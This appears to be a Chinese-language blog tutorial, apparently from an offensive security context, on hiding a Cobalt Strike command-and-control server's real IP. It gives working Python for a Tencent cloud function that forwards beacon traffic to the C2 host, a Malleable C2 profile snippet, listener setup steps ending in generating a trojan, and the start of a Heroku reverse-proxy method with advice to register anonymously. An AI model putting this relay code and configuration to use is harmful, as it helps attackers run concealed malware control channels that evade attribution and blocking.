云函数隐匿真实IP
本次实验利用的腾*云:(其他也相同)
点击新建云函数,选择创建方式—自定义创建,函数名称自定义或者默认都可以,运行环境选择python3.6,其他版本也行。
云函数代码如下(可先点击完成,后面再补进去):
# -*- coding: utf8 -*- import json,base64,requests def main_handler(event,context): C2 = 'http://IP:PORT' headers = event['headers'] path = event['path'] ip = event['requestContext']['sourceIp'] headers = event['headers'] headers['X-Forwarded-For'] = ip print(event) if event['httpMethod'] == 'GET': resp = requests.get(C2+path,headers=headers,verify=False) else: resp = requests.post(C2+path,data=event['body'],headers=headers,verify=False) print(resp.headers) print(resp.content) response={ "isBase64Encoded":True, "statusCode":resp.status_code, "headers":dict(resp.headers), "body":str(base64.b64encode(resp.content))[2:-1] } return response然后创建触发器,具体配置如下图:
使用API网关来进行触发函数。
然后配置一下网关API路径:
选择立即完成并发布任务即可。
这里配置完成后,我们得到API网关地址如下图:
记一下该地址,等下需要用到。
接着先去修改profile文件,配置文件http-config设置如下:
http-config { set headers "Server, Content-Type, Cache-Control, Connection, X-Powered-By"; header "Server" "Nginx"; header "Content-Type" "text/html;charset=UTF-8"; header "Cache-Control" "max-age=1"; header "Connection" "keep-alive"; set trust_x_forwarded_for "true"; }这里是为了与上面的云函数同步使用X-Forward-For来获取真实ip。
然后我们就可以去CS中
创建一个监听器,配置如下图,HTTP Hosts处 和 HTTP Host(Stager)处填入刚才获取到的API网关地址(Port 一定要是80)。
如在云函数中指定了port,则需要创建两个监听器。
生成木马即可上线。
Heroku代理隐匿真实IP
Heroku是一个支持多种编程语言的云平台即服务。
其实简单来理解就是通过Nginx反向代理的方式,从heroku服务器代理到我们真实的CS服务器。
首先:
注册heroku账号,这里需要注意的是QQ邮箱和163等国内邮箱注册不了,建议使用匿名邮箱。
地址:https://dashboard.heroku.com
注册成功后进行登录,访问以下网址进入配置页面。
https://dashboard.heroku.com/new?template=https://github.com/FunnyWolf/nginx-proxy-heroku